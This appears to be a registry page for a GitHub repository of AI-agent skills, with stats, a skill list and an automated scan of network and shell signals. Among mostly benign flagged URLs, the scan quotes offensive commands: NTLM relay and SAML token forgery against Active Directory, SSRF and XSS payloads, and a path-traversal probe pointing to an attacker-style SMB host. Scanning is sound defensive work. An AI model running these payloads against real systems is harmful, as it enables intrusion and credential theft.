Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/create-pr/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/crewai/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/crypto-bd-agent/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/csharp-pro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 785befcaceec439b3b60313837c1cc9a1f1a916f

git clone --filter=blob:none --no-checkout https://github.com/benjaminasterA/antigravity-awesome-skills.git .hotskills/benjaminastera-antigravity-awesome-skills && git -C .hotskills/benjaminastera-antigravity-awesome-skills checkout --detach 785befcaceec439b3b60313837c1cc9a1f1a916f # Copy each selected skill directory from .hotskills/benjaminastera-antigravity-awesome-skills into .agents/skills/<skill-name>/
464GitHub stars
20stars in 7 days
889skills in this repository
30commits in 30 days

Heat

7.5
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 6, 2026464

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

3d-web-experience

When your agent uses it

Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing ...

What it loads into context

Frontmatter

77 tokens

Always available to the agent

SKILL.md

1,421 tokens

When the skill is activated

Reference documents

0 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Capabilities
  2. Patterns

Files

  • SKILL.mdcore5,467 bytes
  • SKILL.mdcore5,467 bytes
  • SKILL.mdcore5,467 bytes
  • SKILL.mdcore5,467 bytes
  • SKILL.mdcore5,467 bytes
Read SKILL.md

# 3D Web Experience

**Role**: 3D Web Experience Architect

You bring the third dimension to the web. You know when 3D enhances
and when it's just showing off. You balance visual impact with
performance. You make 3D accessible to users who've never touched
a 3D app. You create moments of wonder without sacrificing usability.

## Capabilities

- Three.js implementation
- React Three Fiber
- WebGL optimization
View the complete source on GitHub

Skills included

  • 3d-web-experience
  • ab-test-setup
  • accessibility-compliance-accessibility-audit
  • active-directory-attacks
  • activecampaign-automation
  • address-github-comments
  • agent-evaluation
  • agent-framework-azure-ai-py
  • agent-manager-skill
  • agent-memory-mcp
  • agent-memory-systems
  • agent-orchestration-improve-agent
  • agent-orchestration-multi-agent-optimize
  • agent-tool-builder
  • agents-v2-py
  • ai-agents-architect
  • ai-engineer
  • ai-product
  • ai-wrapper-product
  • airflow-dag-patterns
  • airtable-automation
  • algolia-search
  • algorithmic-art
  • amplitude-automation
  • analytics-tracking
  • angular
  • angular-best-practices
  • angular-migration
  • angular-state-management
  • angular-ui-patterns
  • anti-reversing-techniques
  • antigravity-workflows
  • api-design-principles
  • api-documentation-generator
  • api-documenter
  • api-fuzzing-bug-bounty
  • api-patterns
  • api-security-best-practices
  • api-testing-observability-api-mock
  • app-builder
  • templates
  • app-store-optimization
  • application-performance-performance-optimization
  • architect-review
  • architecture
  • architecture-decision-records
  • architecture-patterns
  • arm-cortex-expert
  • asana-automation
  • async-python-patterns
  • attack-tree-construction
  • audio-transcriber
  • auth-implementation-patterns
  • automate-whatsapp
  • autonomous-agent-patterns
  • autonomous-agents
  • avalonia-layout-zafiro
  • avalonia-viewmodels-zafiro
  • avalonia-zafiro-development
  • aws-penetration-testing
  • aws-serverless
  • aws-skills
  • azd-deployment
  • azure-ai-agents-persistent-dotnet
  • azure-ai-agents-persistent-java
  • azure-ai-anomalydetector-java
  • azure-ai-contentsafety-java
  • azure-ai-contentsafety-py
  • azure-ai-contentsafety-ts
  • azure-ai-contentunderstanding-py
  • azure-ai-document-intelligence-dotnet
  • azure-ai-document-intelligence-ts
  • azure-ai-formrecognizer-java
  • azure-ai-ml-py
  • azure-ai-openai-dotnet
  • azure-ai-projects-dotnet
  • azure-ai-projects-java
  • azure-ai-projects-py
  • azure-ai-projects-ts
  • azure-ai-textanalytics-py
  • azure-ai-transcription-py
  • azure-ai-translation-document-py
  • azure-ai-translation-text-py
  • azure-ai-translation-ts
  • azure-ai-vision-imageanalysis-java
  • azure-ai-vision-imageanalysis-py
  • azure-ai-voicelive-dotnet
  • azure-ai-voicelive-java
  • azure-ai-voicelive-py
  • azure-ai-voicelive-ts
  • azure-appconfiguration-java
  • azure-appconfiguration-py
  • azure-appconfiguration-ts
  • azure-communication-callautomation-java
  • azure-communication-callingserver-java
  • azure-communication-chat-java
  • azure-communication-common-java
  • azure-communication-sms-java
  • azure-compute-batch-java
  • azure-containerregistry-py
  • azure-cosmos-db-py
  • azure-cosmos-java
  • azure-cosmos-py
  • azure-cosmos-rust
  • azure-cosmos-ts
  • azure-data-tables-java
  • azure-data-tables-py
  • azure-eventgrid-dotnet
  • azure-eventgrid-java
  • azure-eventgrid-py
  • azure-eventhub-dotnet
  • azure-eventhub-java
  • azure-eventhub-py
  • azure-eventhub-rust
  • azure-eventhub-ts
  • azure-functions
  • azure-identity-dotnet
  • azure-identity-java
  • azure-identity-py
  • azure-identity-rust
  • azure-identity-ts
  • azure-keyvault-certificates-rust
  • azure-keyvault-keys-rust
  • azure-keyvault-keys-ts
  • azure-keyvault-py
  • azure-keyvault-secrets-rust
  • azure-keyvault-secrets-ts
  • azure-maps-search-dotnet
  • azure-messaging-webpubsub-java
  • azure-messaging-webpubsubservice-py
  • azure-mgmt-apicenter-dotnet
  • azure-mgmt-apicenter-py
  • azure-mgmt-apimanagement-dotnet
  • azure-mgmt-apimanagement-py
  • azure-mgmt-applicationinsights-dotnet
  • azure-mgmt-arizeaiobservabilityeval-dotnet
  • azure-mgmt-botservice-dotnet
  • azure-mgmt-botservice-py
  • azure-mgmt-fabric-dotnet
  • azure-mgmt-fabric-py
  • azure-mgmt-mongodbatlas-dotnet
  • azure-mgmt-weightsandbiases-dotnet
  • azure-microsoft-playwright-testing-ts
  • azure-monitor-ingestion-java
  • azure-monitor-ingestion-py
  • azure-monitor-opentelemetry-exporter-java
  • azure-monitor-opentelemetry-exporter-py
  • azure-monitor-opentelemetry-py
  • azure-monitor-opentelemetry-ts
  • azure-monitor-query-java
  • azure-monitor-query-py
  • azure-postgres-ts
  • azure-resource-manager-cosmosdb-dotnet
  • azure-resource-manager-durabletask-dotnet
  • azure-resource-manager-mysql-dotnet
  • azure-resource-manager-playwright-dotnet
  • azure-resource-manager-postgresql-dotnet
  • azure-resource-manager-redis-dotnet
  • azure-resource-manager-sql-dotnet
  • azure-search-documents-dotnet
  • azure-search-documents-py
  • azure-search-documents-ts
  • azure-security-keyvault-keys-dotnet
  • azure-security-keyvault-keys-java
  • azure-security-keyvault-secrets-java
  • azure-servicebus-dotnet
  • azure-servicebus-py
  • azure-servicebus-ts
  • azure-speech-to-text-rest-py
  • azure-storage-blob-java
  • azure-storage-blob-py
  • azure-storage-blob-rust
  • azure-storage-blob-ts
  • azure-storage-file-datalake-py
  • azure-storage-file-share-py
  • azure-storage-file-share-ts
  • azure-storage-queue-py
  • azure-storage-queue-ts
  • azure-web-pubsub-ts
  • backend-architect
  • backend-dev-guidelines
  • backend-development-feature-development
  • backend-security-coder
  • backtesting-frameworks
  • bamboohr-automation
  • basecamp-automation
  • bash-defensive-patterns
  • bash-linux
  • bash-pro
  • bats-testing-patterns
  • bazel-build-optimization
  • beautiful-prose
  • behavioral-modes
  • billing-automation
  • binary-analysis-patterns
  • bitbucket-automation
  • blockchain-developer
  • blockrun
  • box-automation
  • brainstorming
  • brand-guidelines-anthropic
  • brand-guidelines-community
  • brevo-automation
  • broken-authentication
  • browser-automation
  • browser-extension-builder
  • bullmq-specialist
  • bun-development
  • burp-suite-testing
  • business-analyst
  • busybox-on-windows
  • c-pro
  • c4-architecture-c4-architecture
  • c4-code
  • c4-component
  • c4-container
  • c4-context
  • cal-com-automation
  • calendly-automation
  • canva-automation
  • canvas-design
  • cc-skill-backend-patterns
  • cc-skill-clickhouse-io
  • cc-skill-coding-standards
  • cc-skill-continuous-learning
  • cc-skill-frontend-patterns
  • cc-skill-project-guidelines-example
  • cc-skill-security-review
  • cc-skill-strategic-compact
  • changelog-automation
  • cicd-automation-workflow-automate
  • circleci-automation
  • clarity-gate
  • claude-ally-health
  • claude-code-guide
  • claude-d3js-skill
  • claude-scientific-skills
  • claude-speed-reader
  • claude-win11-speckit-update-skill
  • clean-code
  • clerk-auth
  • clickup-automation
  • close-automation
  • cloud-architect
  • cloud-penetration-testing
  • coda-automation
  • code-documentation-code-explain
  • code-documentation-doc-generate
  • code-refactoring-context-restore
  • code-refactoring-refactor-clean
  • code-refactoring-tech-debt
  • code-review-ai-ai-review
  • code-review-checklist
  • code-review-excellence
  • code-reviewer
  • codebase-cleanup-deps-audit
  • codebase-cleanup-refactor-clean
  • codebase-cleanup-tech-debt
  • codex-review
  • commit
  • competitive-landscape
  • competitor-alternatives
  • comprehensive-review-full-review
  • comprehensive-review-pr-enhance
  • computer-use-agents
  • computer-vision-expert
  • concise-planning
  • conductor-implement
  • conductor-manage
  • conductor-new-track
  • conductor-revert
  • conductor-setup
  • conductor-status
  • conductor-validator
  • confluence-automation
  • content-creator
  • content-marketer
  • context-compression
  • context-degradation
  • context-driven-development
  • context-fundamentals
  • context-management-context-restore
  • context-management-context-save
  • context-manager
  • context-optimization
  • context-window-management
  • context7-auto-research
  • conversation-memory
  • convertkit-automation
  • copilot-sdk
  • copy-editing
  • copywriting
  • core-components
  • cost-optimization
  • cpp-pro
  • cqrs-implementation
  • create-pr
  • crewai
  • crypto-bd-agent
  • csharp-pro

Showing 300 of 889 skills. See GitHub for the complete repository.

Repository facts

License
MIT
Created
Feb 22, 2026
Last pushed
Nov 6, 2026
Forks
49
Open issues
1
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 5, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 3,368 notes
  • skills/3d-web-experience/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/3d-web-experience/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/3d-web-experience/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/3d-web-experience/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/active-directory-attacks/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 14,611 signals by file

skills/3d-web-experience/SKILL.md

  • Network accessline 66
    export default function Scene() {   return (     <Spline scene="https://prod.spline.design/xxx/scene.splinecode" />
  • Network accessline 67
    return (     <Spline scene="https://prod.spline.design/xxx/scene.splinecode" />   );
  • Network accessline 68
    <Spline scene="https://prod.spline.design/xxx/scene.splinecode" />

skills/accessibility-compliance-accessibility-audit/resources/implementation-playbook.md

  • Network accessline 427
    run: |           npm start &           npx wait-on http://localhost:3000
  • Network accessline 429
    npx wait-on http://localhost:3000
  • Network accessline 434
    - name: Run pa11y         run: npx pa11y http://localhost:3000 --standard WCAG2AA --threshold 0
  • Network accessline 435
    run: npx pa11y http://localhost:3000 --standard WCAG2AA --threshold 0

skills/active-directory-attacks/SKILL.md

  • Dangerous shell operationline 59
    sudo date -s "14 APR 2024 18:25:16"
  • Network accessline 265
    ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

skills/active-directory-attacks/references/advanced-attacks.md

  • Network accessline 232
    # Start relay ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  • Network accessline 233
    ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  • Network accessline 295
    # Forge SAML token python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
  • Network accessline 296
    python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local

skills/activecampaign-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/agent-framework-azure-ai-py/SKILL.md

  • Network accessline 275
    MCPStreamableHTTPTool(             name="Docs MCP",             url="https://learn.microsoft.com/api/mcp",
  • Network accessline 276
    name="Docs MCP",             url="https://learn.microsoft.com/api/mcp",         ) as mcp_tool,
  • Network accessline 277
    url="https://learn.microsoft.com/api/mcp",

skills/agent-manager-skill/SKILL.md

  • Network accessline 24
    git clone https://github.com/fractalmind-ai/agent-manager-skill.git

skills/agent-memory-mcp/SKILL.md

  • Network accessline 23
    git clone https://github.com/webzler/agentMemory.git .agent/skills/agent-memory
  • Network accessline 84
    Access at: `http://localhost:3333`

skills/agents-v2-py/SKILL.md

  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 175
    "type": "mcp",         "server_label": "my-mcp-server",         "server_url": "https://my-mcp-server.example.com"
  • Network accessline 176
    "server_label": "my-mcp-server",         "server_url": "https://my-mcp-server.example.com"     }
  • Network accessline 177
    "server_url": "https://my-mcp-server.example.com"
  • Network accessline 189
    "type": "mcp",         "server_label": "custom-tool",         "server_url": "https://custom-tool.example.com"
  • Network accessline 190
    "server_label": "custom-tool",         "server_url": "https://custom-tool.example.com"     }
  • Network accessline 191
    "server_url": "https://custom-tool.example.com"
  • Access to secretsline 202
    [Credential-related source omitted]
  • Access to secretsline 227
    [Credential-related source omitted]
  • Access to secretsline 248
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Network accessline 321
    - [Azure AI Projects SDK](https://pypi.org/project/azure-ai-projects/)
  • Network accessline 322
    - [Hosted Agents Documentation](https://learn.microsoft.com/azure/ai-services/agents/how-to/hosted-agents)
  • Network accessline 323
    - [Azure Container Registry](https://learn.microsoft.com/azure/container-registry/)

skills/airflow-dag-patterns/resources/implementation-playbook.md

  • Network accessline 318
    response = requests.get('https://api.example.com/health')
  • Network accessline 507
    - [Airflow Documentation](https://airflow.apache.org/docs/)
  • Network accessline 508
    - [Astronomer Guides](https://docs.astronomer.io/learn)
  • Network accessline 509
    - [TaskFlow API](https://airflow.apache.org/docs/apache-airflow/stable/tutorial/taskflow.html)

skills/airtable-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/algorithmic-art/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/algorithmic-art/SKILL.md

  • Network accessline 280
    <head>   <!-- p5.js from CDN - always available -->   <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>
  • Network accessline 281
    <!-- p5.js from CDN - always available -->   <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>   <style>
  • Network accessline 282
    <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>

skills/algorithmic-art/templates/generator_template.js

  • Executable scriptline 1
    Executable file

skills/algorithmic-art/templates/viewer.html

  • Network accessline 21
    <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>Generative Art Viewer</title>     <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>
  • Network accessline 22
    <title>Generative Art Viewer</title>     <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>     <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 23
    <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>
  • Network accessline 24
    <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 25
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 26
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600&family=Lora:wght@400;500&display=swap" rel="stylesheet">

skills/amplitude-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/angular-best-practices/README.md

  • Network accessline 56
    - [Angular Performance](https://angular.dev/guide/performance)
  • Network accessline 57
    - [Zoneless Angular](https://angular.dev/guide/zoneless)
  • Network accessline 58
    - [Angular SSR](https://angular.dev/guide/ssr)

skills/angular-best-practices/SKILL.md

  • Network accessline 556
    - [Angular Performance Guide](https://angular.dev/best-practices/performance)
  • Network accessline 557
    - [Zoneless Angular](https://angular.dev/guide/experimental/zoneless)
  • Network accessline 558
    - [Angular SSR Guide](https://angular.dev/guide/ssr)
  • Network accessline 559
    - [Change Detection Deep Dive](https://angular.dev/guide/change-detection)

skills/angular-best-practices/metadata.json

  • Network accessline 5
    "abstract": "Performance optimization and best practices guide for Angular applications designed for AI agents and LLMs. Covers change detection strategies (OnPush, Signals, Zoneless), avoiding async waterfalls, bundle optimization with laz
  • Network accessline 6
    "references": [     "https://angular.dev/best-practices",     "https://angular.dev/guide/performance",
  • Network accessline 7
    "https://angular.dev/best-practices",
  • Network accessline 8
    "https://angular.dev/guide/performance",
  • Network accessline 9
    "https://angular.dev/guide/zoneless",
  • Network accessline 10
    "https://angular.dev/guide/ssr",
  • Network accessline 11
    "https://web.dev/performance"

skills/angular-state-management/README.md

  • Network accessline 39
    - [Angular Signals](https://angular.dev/guide/signals)
  • Network accessline 40
    - [NgRx](https://ngrx.io)
  • Network accessline 41
    - [NgRx SignalStore](https://ngrx.io/guide/signals)

skills/angular-state-management/SKILL.md

  • Network accessline 138
    try {       const user = await fetch(`/api/users/${id}`).then((r) => r.json());
  • Network accessline 139
    const user = await fetch(`/api/users/${id}`).then((r) => r.json());
  • Network accessline 631
    - [Angular Signals Guide](https://angular.dev/guide/signals)
  • Network accessline 632
    - [NgRx Documentation](https://ngrx.io/)
  • Network accessline 633
    - [NgRx SignalStore](https://ngrx.io/guide/signals)
  • Network accessline 634
    - [RxAngular](https://www.rx-angular.io/)

skills/angular-state-management/metadata.json

  • Network accessline 5
    "abstract": "Complete state management guide for Angular applications designed for AI agents and LLMs. Covers Signal-based services, NgRx for global state, RxJS patterns, and component stores. Includes decision trees for choosing the right 
  • Network accessline 6
    "references": [     "https://angular.dev/guide/signals",     "https://ngrx.io",
  • Network accessline 7
    "https://angular.dev/guide/signals",
  • Network accessline 8
    "https://ngrx.io",
  • Network accessline 9
    "https://ngrx.io/guide/signals",
  • Network accessline 10
    "https://www.rx-angular.io",
  • Network accessline 11
    "https://github.com/ngrx/platform"

skills/angular-ui-patterns/README.md

  • Network accessline 54
    - [Angular @defer](https://angular.dev/guide/defer)
  • Network accessline 55
    - [Angular Templates](https://angular.dev/guide/templates)

skills/angular-ui-patterns/metadata.json

  • Network accessline 5
    "abstract": "Modern UI patterns for Angular applications designed for AI agents and LLMs. Covers loading states, error handling, progressive disclosure, and data display patterns. Emphasizes showing loading only without data, surfacing all 
  • Network accessline 6
    "references": [     "https://angular.dev/guide/defer",     "https://angular.dev/guide/templates",
  • Network accessline 7
    "https://angular.dev/guide/defer",
  • Network accessline 8
    "https://angular.dev/guide/templates",
  • Network accessline 9
    "https://material.angular.io",
  • Network accessline 10
    "https://ng-spartan.com"

skills/angular/README.md

  • Network accessline 37
    - [Angular Documentation](https://angular.dev)
  • Network accessline 38
    - [Angular Signals](https://angular.dev/guide/signals)
  • Network accessline 39
    - [Zoneless Angular](https://angular.dev/guide/zoneless)
  • Network accessline 40
    - [Angular SSR](https://angular.dev/guide/ssr)

skills/angular/SKILL.md

  • Network accessline 423
    // Provide in config bootstrapApplication(AppComponent, {   providers: [{ provide: API_BASE_URL, useValue: "https://api.example.com" }],
  • Network accessline 424
    bootstrapApplication(AppComponent, {   providers: [{ provide: API_BASE_URL, useValue: "https://api.example.com" }], });
  • Network accessline 425
    providers: [{ provide: API_BASE_URL, useValue: "https://api.example.com" }],
  • Network accessline 805
    - [Angular.dev Documentation](https://angular.dev)
  • Network accessline 806
    - [Angular Signals Guide](https://angular.dev/guide/signals)
  • Network accessline 807
    - [Angular SSR Guide](https://angular.dev/guide/ssr)
  • Network accessline 808
    - [Angular Update Guide](https://angular.dev/update-guide)
  • Network accessline 809
    - [Angular Blog](https://blog.angular.dev)

skills/angular/metadata.json

  • Network accessline 5
    "abstract": "Comprehensive guide to modern Angular development (v20+) designed for AI agents and LLMs. Covers Signals, Standalone Components, Zoneless applications, SSR/Hydration, reactive patterns, routing, dependency injection, and modern
  • Network accessline 6
    "references": [     "https://angular.dev",     "https://angular.dev/guide/signals",
  • Network accessline 7
    "https://angular.dev",
  • Network accessline 8
    "https://angular.dev/guide/signals",
  • Network accessline 9
    "https://angular.dev/guide/zoneless",
  • Network accessline 10
    "https://angular.dev/guide/ssr",
  • Network accessline 11
    "https://angular.dev/guide/standalone-components",
  • Network accessline 12
    "https://angular.dev/guide/defer"

skills/api-design-principles/assets/rest-api-template.py

  • Executable scriptline 1
    Executable file

skills/api-design-principles/references/rest-best-practices.md

  • Network accessline 142
    Response Headers: Link: <https://api.example.com/users?page=3>; rel="next",
  • Network accessline 143
    Link: <https://api.example.com/users?page=3>; rel="next",
  • Network accessline 144
    <https://api.example.com/users?page=1>; rel="prev",
  • Network accessline 145
    <https://api.example.com/users?page=1>; rel="first",
  • Network accessline 146
    <https://api.example.com/users?page=8>; rel="last"
  • Network accessline 345
    app.add_middleware(     CORSMiddleware,     allow_origins=["https://example.com"],
  • Network accessline 346
    CORSMiddleware,     allow_origins=["https://example.com"],     allow_credentials=True,
  • Network accessline 347
    allow_origins=["https://example.com"],

skills/api-documentation-generator/SKILL.md

  • Network accessline 58
    **Code Examples:** - cURL command
  • Network accessline 59
    - cURL command
  • Network accessline 147
    **Example Request (cURL):** \`\`\`bash curl -X POST https://api.example.com/api/v1/users \
  • Network accessline 148
    [Credential-related source omitted]
  • Network accessline 149
    curl -X POST https://api.example.com/api/v1/users \
  • Network accessline 159
    **Example Request (JavaScript):** \`\`\`javascript const response = await fetch('https://api.example.com/api/v1/users', {
  • Network accessline 160
    \`\`\`javascript const response = await fetch('https://api.example.com/api/v1/users', {   method: 'POST',
  • Network accessline 161
    const response = await fetch('https://api.example.com/api/v1/users', {
  • Network accessline 182
    response = requests.post(
  • Network accessline 183
    'https://api.example.com/api/v1/users',
  • Network accessline 453
    "info": {     "name": "My API",     "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
  • Network accessline 454
    "name": "My API",     "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"   },
  • Network accessline 455
    "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
  • Network accessline 478
    - [OpenAPI Specification](https://swagger.io/specification/)
  • Network accessline 479
    - [REST API Best Practices](https://restfulapi.net/)
  • Network accessline 480
    - [GraphQL Documentation](https://graphql.org/learn/)
  • Network accessline 481
    - [API Design Patterns](https://www.apiguide.com/)
  • Network accessline 482
    - [Postman Documentation](https://learning.postman.com/docs/)

skills/api-documenter/SKILL.md

  • Network accessline 102
    - Documentation-driven testing with contract validation - Automated testing of code examples and curl commands
  • Network accessline 103
    - Automated testing of code examples and curl commands

skills/api-fuzzing-bug-bounty/SKILL.md

  • Network accessline 59
    # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite
  • Network accessline 60
    kr scan https://target.com -w routes-large.kite
  • Network accessline 147
    <object data="http://127.0.0.1:8443"/>
  • Network accessline 148
    <img src="http://127.0.0.1:445"/>
  • Network accessline 154
    # If .NET app uses Path.Combine(path_1, path_2) # Test for path traversal https://example.org/download?filename=a.png
  • Network accessline 155
    # Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config
  • Network accessline 156
    https://example.org/download?filename=a.png
  • Network accessline 157
    https://example.org/download?filename=C:\inetpub\wwwroot\web.config
  • Network accessline 158
    https://example.org/download?filename=\\smb.dns.attacker.com\a.png
  • Network accessline 251
    # XSS via GraphQL endpoint http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
  • Network accessline 252
    http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
  • Network accessline 254
    # URL-encoded XSS http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
  • Network accessline 255
    http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
  • Network accessline 300
    <!-- SSRF via PDF export --> <object data="http://127.0.0.1:8443"/>
  • Network accessline 301
    <object data="http://127.0.0.1:8443"/>
  • Network accessline 303
    <!-- Port scanning --> <img src="http://127.0.0.1:445"/>
  • Network accessline 304
    <img src="http://127.0.0.1:445"/>
  • Network accessline 306
    <!-- IP disclosure --> <img src="https://iplogger.com/yourcode.gif"/>
  • Network accessline 307
    <img src="https://iplogger.com/yourcode.gif"/>
  • Network accessline 420
    curl -X POST https://target.com/graphql \

skills/api-patterns/scripts/api_validator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/api-security-best-practices/SKILL.md

  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 268
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 737
    [Credential-related source omitted]
  • Network accessline 901
    - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
  • Network accessline 902
    - [JWT Best Practices](https://tools.ietf.org/html/rfc8725)
  • Network accessline 903
    - [Express Security Best Practices](https://expressjs.com/en/advanced/best-practice-security.html)
  • Network accessline 904
    - [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/)
  • Network accessline 905
    - [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist)

skills/api-testing-observability-api-mock/resources/implementation-playbook.md

  • Network accessline 1044
    // Make request         const response = await fetch('http://localhost:3001/api/users/123');
  • Network accessline 1045
    const response = await fetch('http://localhost:3001/api/users/123');
  • Network accessline 1156
    - ./scenarios:/data/scenarios     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:3001/health"]
  • Network accessline 1157
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:3001/health"]       interval: 30s
  • Network accessline 1158
    test: ["CMD", "curl", "-f", "http://localhost:3001/health"]
